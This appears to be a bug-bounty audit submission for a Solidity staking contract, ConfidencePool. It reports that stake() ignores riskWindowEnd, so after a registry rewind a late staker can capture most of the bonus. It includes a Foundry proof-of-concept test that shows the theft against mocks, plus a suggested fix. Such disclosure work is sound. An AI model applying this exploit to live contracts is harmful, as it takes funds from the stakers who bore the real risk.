FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: medium
Likelihood: medium

riskWindowEnd is not used to close staking, allowing post-terminal stakers to capture bonus after registry rewind

Author Revealed upon completion

Root + Impact

Description

  • Normal behavior: after ConfidencePool observes a terminal state and sets riskWindowEnd, no new stake should be accepted because the covered risk window has ended.

  • I observed that stake() only checks the current live registry state. It does not check riskWindowEnd. If the registry is later rewound/replaced to a deposit-allowed state, a late user can stake after the risk window ended and still receive a positive quadratic bonus score.

// src/ConfidencePool.sol
function stake(uint256 amount) external nonReentrant whenPoolNotPaused {
if (amount == 0) revert ZeroAmount();
if (block.timestamp >= expiry) revert StakingClosed();
@> _assertDepositsAllowed(_observePoolState());
...
}
function _observePoolState() internal returns (IAttackRegistry.ContractState state) {
state = _getAgreementState();
...
if (
riskWindowEnd == 0
&& (
state == IAttackRegistry.ContractState.PRODUCTION
|| state == IAttackRegistry.ContractState.CORRUPTED
)
) {
@> riskWindowEnd = uint32(block.timestamp);
emit RiskWindowEnded(block.timestamp);
}
}

Risk

Likelihood:

  • This occurs when riskWindowEnd has already been sealed and the Safe Harbor registry pointer/state is later replaced, migrated, or rewound to a deposit-allowed state such as NEW_DEPLOYMENT.

  • The code already protects withdrawals from registry rewind with local latches, but stake() does not apply an equivalent terminal-latch check.

Impact:

  • A post-terminal staker can be included in snapshotTotalStaked despite taking no covered risk.

  • The PoC shows the late staker captures more than 90e18 of a 100e18 bonus, while the real risk-bearing staker receives less than 2e18.

Proof of Concept

Place this file at test/unit/PostTerminalRewindStakePoC.t.sol:

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {MockAttackRegistry} from "test/mocks/MockAttackRegistry.sol";
import {BaseConfidencePoolTest} from "test/helpers/BaseConfidencePoolTest.sol";
contract PostTerminalRewindStakePoC is BaseConfidencePoolTest {
function testPoC_PostTerminalStakeCapturesBonusAfterRewind() external {
_stake(alice, 100 * ONE);
_contributeBonus(carol, 100 * ONE);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
pool.pokeRiskWindow();
uint256 start = block.timestamp;
vm.warp(start + 1 days);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.PRODUCTION);
pool.pokeRiskWindow();
uint256 end = pool.riskWindowEnd();
assertEq(end, start + 1 days);
MockAttackRegistry rewound = new MockAttackRegistry();
rewound.setAgreementState(IAttackRegistry.ContractState.NEW_DEPLOYMENT);
safeHarborRegistry.setAttackRegistry(address(rewound));
vm.warp(end + 10 days);
_stake(bob, 100 * ONE);
assertGt(block.timestamp, end);
assertEq(pool.eligibleStake(bob), 100 * ONE);
rewound.setAgreementState(IAttackRegistry.ContractState.PRODUCTION);
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
assertEq(pool.outcomeFlaggedAt(), end);
assertEq(pool.snapshotTotalStaked(), 200 * ONE);
uint256 aliceBefore = token.balanceOf(alice);
vm.prank(alice);
pool.claimSurvived();
uint256 aliceBonus = token.balanceOf(alice) - aliceBefore - 100 * ONE;
uint256 bobBefore = token.balanceOf(bob);
vm.prank(bob);
pool.claimSurvived();
uint256 bobBonus = token.balanceOf(bob) - bobBefore - 100 * ONE;
assertGt(bobBonus, 90 * ONE);
assertLt(aliceBonus, 2 * ONE);
}
}

Run:

forge test --match-path test/unit/PostTerminalRewindStakePoC.t.sol -vvv

Observed output:

[PASS] testPoC_PostTerminalStakeCapturesBonusAfterRewind()

Recommended Mitigation

function stake(uint256 amount) external nonReentrant whenPoolNotPaused {
if (amount == 0) revert ZeroAmount();
if (block.timestamp >= expiry) revert StakingClosed();
- _assertDepositsAllowed(_observePoolState());
+ IAttackRegistry.ContractState state = _observePoolState();
+ if (riskWindowEnd != 0) revert StakingClosed();
+ _assertDepositsAllowed(state);
...
}

This fix makes riskWindowEnd a permanent local terminal latch for deposits. After the pool has observed the risk window ending, future registry rewinds or migrations cannot reopen staking. This keeps the bonus formula consistent because every snapshotted staker must have entered before or during the covered risk window, not after T = riskWindowEnd.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!